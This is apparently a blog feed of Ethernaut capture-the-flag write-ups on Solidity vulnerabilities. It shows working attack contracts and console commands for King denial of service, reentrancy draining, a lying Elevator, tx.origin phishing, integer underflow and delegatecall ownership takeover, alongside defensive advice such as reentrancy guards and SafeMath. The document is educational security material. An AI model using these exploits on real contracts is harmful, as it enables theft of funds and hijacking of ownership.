        (<span class="hljs-keyword">bool</span> success, ) <span class="hljs-operator">=</span> <span class="hljs-keyword">payable</span>(victim).<span class="hljs-built_in">call</span>.<span class="hljs-built_in">value</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>)(<span class="hljs-string">""</span>);
        <span class="hljs-built_in">require</span>(success, <span class="hljs-string">"call failed!"</span>);
    }

    <span class="hljs-function"><span class="hljs-keyword">receive</span> (<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-literal">false</span>, <span class="hljs-string">"hehehe no way &gt;:)"</span>);
    }

}
</code></pre>
<p>In order to perform the attack, we first consult the current price. Something like this will do.</p>
<pre><code>const price <span class="hljs-operator">=</span> await web3.eth.getStorageAt(<span class="hljs-operator">&lt;</span>KingAddress<span class="hljs-operator">&gt;</span>, <span class="hljs-number">1</span>) <span class="hljs-comment">// price is in slot 1</span>
const priceInWei <span class="hljs-operator">=</span> web3.utils.hexToNumber(price)
</code></pre><p>In my case the price is <code>0.001 ether</code>(the first time it is deployed). So I just need to send more than that. And then deploy the attack contract and call <code>poison()</code> with value set higher than the current price. This will set <code>PoisonedKing</code> as the new King, and break the contract.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1651975839692/rMnout42x.png" alt="Screen Shot 2022-05-07 at 21.03.30.png" /></p>
<p>Finally, we verify that the solution is accepted</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1651975869599/_sQU5rEUn.png" alt="Screen Shot 2022-05-07 at 21.02.56.png" /></p>
<blockquote>
<p>This one was quite hard and I spent a lot of time figuring it out. One of the things to note is that using <code>transfer()</code> will always fail, as it has a gas limit. So we have to use the low-level <code>call()</code>. </p>
</blockquote>
<h2 id="heading-10th-challenge-re-entrancy-reentrancy-attack">10th Challenge: Re-entrancy - reentrancy attack</h2>
<p>Here the goal is to steal all the funds from this contract</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.0;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">'@openzeppelin/contracts/math/SafeMath.sol'</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Reentrance</span> </span>{

  <span class="hljs-keyword">using</span> <span class="hljs-title">SafeMath</span> <span class="hljs-title"><span class="hljs-keyword">for</span></span> <span class="hljs-title"><span class="hljs-keyword">uint256</span></span>;
  <span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span> <span class="hljs-keyword">uint</span>) <span class="hljs-keyword">public</span> balances;

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">donate</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _to</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
    balances[_to] <span class="hljs-operator">=</span> balances[_to].add(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>);
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">balanceOf</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _who</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span> balance</span>) </span>{
    <span class="hljs-keyword">return</span> balances[_who];
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdraw</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> _amount</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    <span class="hljs-keyword">if</span>(balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> _amount) {
      (<span class="hljs-keyword">bool</span> result,) <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>.<span class="hljs-built_in">call</span>{<span class="hljs-built_in">value</span>:_amount}(<span class="hljs-string">""</span>);
      <span class="hljs-keyword">if</span>(result) {
        _amount;
      }
      balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">-</span><span class="hljs-operator">=</span> _amount;
    }
  }

  <span class="hljs-function"><span class="hljs-keyword">receive</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{}
}
</code></pre>
<p>If you know about the infamous DAO hack, then you should immediately see the vulnerability in this one.</p>
<p>Note that on <code>withdraw()</code> the contract is sending the funds by calling the fallback in the receiving address. And THEN adjusting the address's balance. </p>
<p>What would happen if the withdrawing address has a fallback that calls <code>withdraw()</code>?
It will keeping sending eth, as the balance has not being adjusted! This will keep repeating until there are no more funds in the contract. </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652014985975/K-TSbUp6L.png" alt="B16A8DE5-EB19-489C-9D88-2AAB0FBE0CE9.png" /></p>
<p>This is the well-known reentrancy attack. And it is particularly nasty.</p>
<p>I will write a contract that does a few things. </p>
<ul>
<li>First, it will "create an account" on the victim contract. By donating an initial balance.</li>
<li>Then, it will call the victim contract's <code>withdraw()</code>.</li>
<li>Finally, the attacker contract's fallback will trigger a function that will keep calling <code>withdraw()</code> as long as the victim has funds. It will end only when it has drained all of them.</li>
</ul>
<pre><code class="lang-solidity"><span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.10;</span>

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IVictim</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdraw</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">donate</span>(<span class="hljs-params"><span class="hljs-keyword">address</span></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span></span>;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Attack</span> </span>{

    IVictim <span class="hljs-keyword">public</span> victim;
    <span class="hljs-keyword">uint</span> <span class="hljs-keyword">public</span> donatedAmount;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span> (<span class="hljs-params"><span class="hljs-keyword">address</span> _victimAddress</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        victim <span class="hljs-operator">=</span> IVictim(_victimAddress);
    }

    <span class="hljs-function"><span class="hljs-keyword">fallback</span> (<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        <span class="hljs-keyword">uint</span> victimBalance <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(victim).<span class="hljs-built_in">balance</span>;
        <span class="hljs-keyword">bool</span> canWithdraw <span class="hljs-operator">=</span> victimBalance <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span>;

        <span class="hljs-keyword">if</span> (canWithdraw) {
            <span class="hljs-keyword">uint</span> howMuch <span class="hljs-operator">=</span> donatedAmount <span class="hljs-operator">&lt;</span> victimBalance ? donatedAmount : victimBalance;
            victim.withdraw(howMuch);
        }
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">attack</span> (<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span> <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>);
        donatedAmount <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>;
        victim.donate{<span class="hljs-built_in">value</span>: donatedAmount}(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>));
        victim.withdraw(donatedAmount);
    }
}
</code></pre>
<p>After we deploy the contract with the victims address, we can call <code>attack()</code> with any amount of eth. This will trigger the exploit and drain the victim contract of its eth. </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652017612250/tI8ncHTAS.png" alt="Screen Shot 2022-05-08 at 8.45.52.png" /></p>
<h3 id="heading-protecting-against-reentrancy">Protecting against reentrancy</h3>
<p>This one will merits some more discussion in a post of its own. But in the meantime, you may want to read about the DAO hack, for <a target="_blank" href="https://www.coindesk.com/learn/2016/06/25/understanding-the-dao-attack/">some historical context</a>. And an explanation on <a target="_blank" href="https://quantstamp.com/blog/what-is-a-re-entrancy-attack">how a reentrancy attack works</a>.</p>
<p>There are at least two ways to protect a contract from reentrancy attacks.</p>
<ul>
<li><p>By using a <code>noReentrant</code> modifier to <em>lock</em> the contract during the execution. So that any reentrancy fails the transaction. </p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">noReentrant</span> </span>{
<span class="hljs-built_in">require</span>(locked <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-literal">false</span>, <span class="hljs-string">"No reentrancy!"</span>);
locked <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
<span class="hljs-keyword">_</span>;
locked <span class="hljs-operator">=</span> <span class="hljs-literal">false</span>;
}
</code></pre>
<p><a target="_blank" href="https://docs.openzeppelin.com/contracts/4.x/api/security#ReentrancyGuard">Openzeppelin has a <code>ReentrancyGuard</code> contract</a> with an implementation. And you should use that one.</p>
</li>
<li><p>By using the <em><a target="_blank" href="https://docs.soliditylang.org/en/v0.6.11/security-considerations.html#re-entrancy">Checks-Effects-Interactions pattern</a></em> </p>
<pre><code class="lang-solidity"><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Fund</span> </span>{
  <span class="hljs-comment">/// @dev Mapping of ether shares of the contract.</span>
  <span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span> <span class="hljs-keyword">uint</span>) shares;
  <span class="hljs-comment">/// Withdraw your share.</span>
  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdraw</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
      <span class="hljs-keyword">uint</span> share <span class="hljs-operator">=</span> shares[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>]; <span class="hljs-comment">// first check</span>
      shares[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">=</span> <span class="hljs-number">0</span>; <span class="hljs-comment">// then apply the intended changes</span>
      <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>.<span class="hljs-built_in">transfer</span>(share); <span class="hljs-comment">// finally trigger the interactions with the other contract</span>
  }
}
</code></pre>
<p>This way, you can avoid a reentrancy attempt of bypassing the check, as the second time around will fail. Because we set the shares of the sender before potentially triggering the attack.</p>
</li>
</ul>
<h2 id="heading-11th-elevator-dishonest-contracts">11th: Elevator - dishonest contracts</h2>
<p>Check the following contract. It seems there is no way of setting <code>top</code> to true. Right?</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.0;</span>

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">Building</span> </span>{
  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">isLastFloor</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>)</span>;
}


<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Elevator</span> </span>{
  <span class="hljs-keyword">bool</span> <span class="hljs-keyword">public</span> top;
  <span class="hljs-keyword">uint</span> <span class="hljs-keyword">public</span> floor;

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">goTo</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> _floor</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    Building building <span class="hljs-operator">=</span> Building(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>);

    <span class="hljs-keyword">if</span> (<span class="hljs-operator">!</span> building.isLastFloor(_floor)) {
      floor <span class="hljs-operator">=</span> _floor;
      top <span class="hljs-operator">=</span> building.isLastFloor(floor);
    }
  }
}
</code></pre>
<p>But the <code>Elevator</code> contract assumes that any <code>Building</code> will answer <code>Building.isLastFloor()</code> honestly. Of course the building we are gonna write is not honest. Breaking the <code>Elevator</code> contract!</p>
<pre><code class="lang-solidity"><span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.10;</span>

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IElevator</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">goTo</span> (<span class="hljs-params"><span class="hljs-keyword">uint</span></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">FakeBuilding</span> </span>{
    <span class="hljs-keyword">bool</span> lie <span class="hljs-operator">=</span> <span class="hljs-literal">false</span>;
    IElevator elevator;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span> (<span class="hljs-params"><span class="hljs-keyword">address</span> _elevatorAddress</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        elevator <span class="hljs-operator">=</span> IElevator(_elevatorAddress);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">isLastFloor</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> _floor</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        lie <span class="hljs-operator">=</span> <span class="hljs-operator">!</span> lie;
        <span class="hljs-keyword">return</span> <span class="hljs-operator">!</span> lie;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">honestBuilding</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        elevator.goTo(<span class="hljs-number">10</span>);
    }   
}
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652018762796/al1R21FVD.png" alt="Screen Shot 2022-05-08 at 9.05.46.png" /></p>
<h1 id="heading-epilogue">Epilogue.</h1>
<p>Here are the lessons about securing smart contracts from this batch:</p>
<ul>
<li>Never store sensitive data on the blockchain. Everything is public one way or another.</li>
<li>Never trust your contract's behavior to logic on any other outside contract.</li>
<li>Protect your contracts agains reentrancy where needed.</li>
<li>Never trust that any outside contract will behave honestly as expected.</li>
</ul>
<p>Hopefully this is helpful!</p>
<p>Maybe follow me on twitter?</p>
<div class="hn-embed-widget" id="twitter-follow"></div>]]></content:encoded></item><item><title><![CDATA[Ethernaut: Phishing tx.origin, Arithmetic Overflow, delegateCall, and forcibly sending Ether.]]></title><description><![CDATA[Let's continue the Ethernaut with challenges 4 through 7. These are quite interesting and point out several of the basic vulnerabilities you should be aware of when writing smart contracts.
:D
4th Challenge: Telephone - tx.origin phishing
The goal is...]]></description><link>https://blog.jrlgs.dev/ethernaut-phishing-txorigin-arithmetic-overflow-delegatecall-and-forcibly-sending-ether</link><guid isPermaLink="true">https://blog.jrlgs.dev/ethernaut-phishing-txorigin-arithmetic-overflow-delegatecall-and-forcibly-sending-ether</guid><category><![CDATA[Blockchain]]></category><category><![CDATA[Ethereum]]></category><category><![CDATA[JavaScript]]></category><category><![CDATA[Web3]]></category><category><![CDATA[Solidity]]></category><dc:creator><![CDATA[Jorge Romero]]></dc:creator><pubDate>Sat, 07 May 2022 08:54:53 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1651902495055/yWCBOajZ3.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Let's continue the Ethernaut with challenges 4 through 7. These are quite interesting and point out several of the basic vulnerabilities you should be aware of when writing smart contracts.</p>
<p>:D</p>
<h2 id="heading-4th-challenge-telephone-txorigin-phishing">4th Challenge: Telephone - tx.origin phishing</h2>
<p>The goal is to gain ownership of the contract:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.0;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Telephone</span> </span>{

  <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> owner;

  <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    owner <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">changeOwner</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _owner</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    <span class="hljs-keyword">if</span> (<span class="hljs-built_in">tx</span>.<span class="hljs-built_in">origin</span> <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>) {
      owner <span class="hljs-operator">=</span> _owner;
    }
  }
}
</code></pre>
<p>Notice the <code>changeOwner()</code> function is performing a very rudimentary and naive authorization. Suppose that you call this function directly. Then <code>tx.origin</code> is in fact equal to <code>msg.sender</code>. So no one can call the function and change the owner. </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1651846538933/9lNJHmx0z.png" alt="8403E7FC-90A9-4D4E-8C3A-8AE17661C1F3.png" /></p>
<p>The key is the difference between the two. <code>tx.origin</code> is a global variable that holds the address that initiated the transaction. While <code>msg.sender</code> is the address that called that specific function. <a target="_blank" href="https://docs.soliditylang.org/en/v0.8.13/units-and-global-variables.html?highlight=tx.origin#block-and-transaction-properties">Check out solidity docs page about global variables</a></p>
<p>So the way to hack this is pretty straightforward. Write a new smart contract that forwards your wallet address to the original. Then call the attacking contract from your address.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1651846554992/EbtSFk7Xj.png" alt="A932E859-AB91-42DD-8521-7DCD64846030.png" /></p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.0;</span>

...

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">TelephoneAttack</span> </span>{
 Telephone original;
 <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _original</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
  original <span class="hljs-operator">=</span> Telephone(_original);
 }

 <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">pwnTelephone</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
  original.changeOwner(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>);
 }
}
</code></pre>
<p>Once we call <code>pwnTelephone()</code> we can submit the challenge.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1651897176321/L66GTZ-yo.png" alt="Screen Shot 2022-05-06 at 22.56.43.png" /></p>
<p>You can check out the doc's <a target="_blank" href="https://docs.soliditylang.org/en/v0.8.13/security-considerations.html?highlight=tx.origin#tx-origin">security considerations about <code>tx.origin</code></a> to see an example of using a <code>tx.origin</code> phishing attack on a vulnerable contract.</p>
<h2 id="heading-5th-challenge-token-arithmetic-underflow">5th Challenge: Token - Arithmetic Underflow</h2>
<p>You have to hack the following token contract. And get as much tokens as possible from it. You are given 20 tokens to start with.</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.0;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Token</span> </span>{

  <span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span> <span class="hljs-keyword">uint</span>) balances;
  <span class="hljs-keyword">uint</span> <span class="hljs-keyword">public</span> totalSupply;

  <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> _initialSupply</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">=</span> totalSupply <span class="hljs-operator">=</span> _initialSupply;
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">transfer</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _to, <span class="hljs-keyword">uint</span> _value</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
    <span class="hljs-built_in">require</span>(balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">-</span> _value <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>);
    balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">-</span><span class="hljs-operator">=</span> _value;
    balances[_to] <span class="hljs-operator">+</span><span class="hljs-operator">=</span> _value;
    <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">balanceOf</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _owner</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span> balance</span>) </span>{
    <span class="hljs-keyword">return</span> balances[_owner];
  }
}
</code></pre>
<p>The only thing that stops us from stealing from the contract is the line</p>
<pre><code class="lang-solidity"><span class="hljs-built_in">require</span> (balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">-</span> _value <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>)
</code></pre>
<p>The type <code>uint</code> means an unsigned integer of 256 bits. Which can <em>and will</em> underflow or overflow. If the result of some arithmetic operation exceeds it's maximum or minimum possible values.</p>
<p>Consider <code>20 - value</code> where <code>value = 21</code>. Then, under the normal arithmetic, the result would be -1. But in 256bit arithmetic the result is \(2^{256} - 1\)</p>
<p>Check the following example with 8bit unsigned integer arithmetic:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1651897266509/GIlniR1wv.png" alt="F217BEE4-C71C-436B-A6FD-24405EE0F087.png" /></p>
<p>Therefore, by calling <code>transfer(&lt;someAdress&gt;, 21)</code> on the smart contract, we will end up with an enormous amount of tokens!</p>
<p>This kind of attack is well known and contracts almost always use solutions like <a target="_blank" href="https://docs.openzeppelin.com/contracts/4.x/api/utils#SafeMath">SafeMath.sol</a> to protect themselves form overflow attacks. Starting from <a target="_blank" href="https://docs.soliditylang.org/en/v0.8.13/080-breaking-changes.html">solidity 0.8, the arithmetic operations in integers are safe by default</a>.</p>
<p>Hacking this one is pretty simple. In the console, I can type:</p>
<pre><code class="lang-js"><span class="hljs-keyword">await</span> contract.transfer(level, <span class="hljs-number">21</span>)
</code></pre>
<p><code>level</code> is a reference to the level's contract address. Ethernaut exposes it for convenience. It doesn't matter. As long as its different from my address (ie. <code>msg.sender</code>)</p>
<p>What we want is to underflow <code>balances[msg.sender] -= _value</code>. By having it compute <code>20-21</code> which in <code>uint256</code> arithmetic equals <code>2**256 - 1</code>.</p>
<p>After that, we can check that we effectively hacked the contract by checking our balance and then submit the solution.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1651897124982/1pje3waJP.png" alt="Screen Shot 2022-05-06 at 23.16.19.png" /></p>
<blockquote>
<p>By now you get the idea. A flashy message appears on the console once you submit a correct solution.</p>
</blockquote>
<h2 id="heading-6th-challenge-delegation">6th Challenge: Delegation</h2>
<p>You have to claim ownership of the <code>Delegation</code> contract.</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.0;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Delegate</span> </span>{

  <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> owner;

  <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _owner</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    owner <span class="hljs-operator">=</span> _owner;
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">pwn</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    owner <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
  }
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Delegation</span> </span>{

  <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> owner;
  Delegate delegate;

  <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _delegateAddress</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    delegate <span class="hljs-operator">=</span> Delegate(_delegateAddress);
    owner <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
  }

  <span class="hljs-function"><span class="hljs-keyword">fallback</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
    (<span class="hljs-keyword">bool</span> result,) <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(delegate).<span class="hljs-built_in">delegatecall</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">data</span>);
    <span class="hljs-keyword">if</span> (result) {
      <span class="hljs-built_in">this</span>;
    }
  }
}
</code></pre>
<p>We can execute the <code>pwn()</code> function from the <code>Delegate</code> contract in the context of <code>Delegation</code>. Using <a target="_blank" href="https://docs.soliditylang.org/en/v0.8.13/units-and-global-variables.html#members-of-address-types"><code>&lt;address&gt;.delegatecall(bytes memory) returns (bool, bytes memory)</code></a>. Which allows <a target="_blank" href="https://ethereum.stackexchange.com/questions/3667/difference-between-call-callcode-and-delegatecall">precisely such behavior</a>. </p>
<p>This can be specially dangerous as a contract can dynamically load code from another contract at runtime. Using the first's storage, address and balance. </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1651902544518/R8Cq9go2h.png" alt="D6598345-37B3-4D42-8E16-C7E6E22EA4AA.png" /></p>
<p>As per the Ethernaut's setup <code>Delegation</code> gets the <code>Delegate</code> contract address when deployed.</p>
<p>The only thing we need to do is send a transaction with msg.data set to "pwn()" (encoded) to trigger the fallback from <code>Delegation</code> the function that we want to run from <code>Delegate</code>. Note that <code>Delegate</code> also has an <code>owner</code> state variable. This is necessary as the delegate must have the same variables. As delegatecall does not match variable names but rather matches state variable layout. </p>
<blockquote>
<p>If you want to learn more, you may want to read about the <a target="_blank" href="https://docs.openzeppelin.com/upgrades-plugins/1.x/proxies">proxy upgrade pattern</a>. It uses delegatecall to allow for "upgrading" of smart contracts. One of the problems you can run into when using this pattern is <a target="_blank" href="https://docs.openzeppelin.com/upgrades-plugins/1.x/proxies#unstructured-storage-proxies">storage collision</a></p>
</blockquote>
<p>We want to claim ownership ourselves, so we cannot write a smart contract to trigger the fallback for us (we want <code>msg.sender</code> to be our own address). So we need to send the transaction from the console:</p>
<pre><code class="lang-js"><span class="hljs-keyword">await</span> contract.sendTransaction({<span class="hljs-attr">data</span>: web3.eth.abi.encodeFunctionSignature(<span class="hljs-string">"pwn()"</span>)})
</code></pre>
<p>We are using <a target="_blank" href="https://web3js.readthedocs.io/en/v1.2.11/web3-eth-abi.html#encodefunctionsignature">web3.js to encode the signature</a> and the truffle contract abstraction that Ethernaut exposes for us.</p>
<p>We can then check that we gained ownership:</p>
<pre><code class="lang-js"><span class="hljs-keyword">await</span> contract.owner() == player
&gt;&gt; <span class="hljs-literal">true</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1651913094340/s_wUxiXyu.png" alt="Screen Shot 2022-05-07 at 3.44.36.png" /></p>
<h2 id="heading-7th-challenge-force">7th Challenge: Force</h2>
<p>The following contract cannot accept any Eth. So, naturally, the challenge is to make the balance of the contract greater than zero.</p>
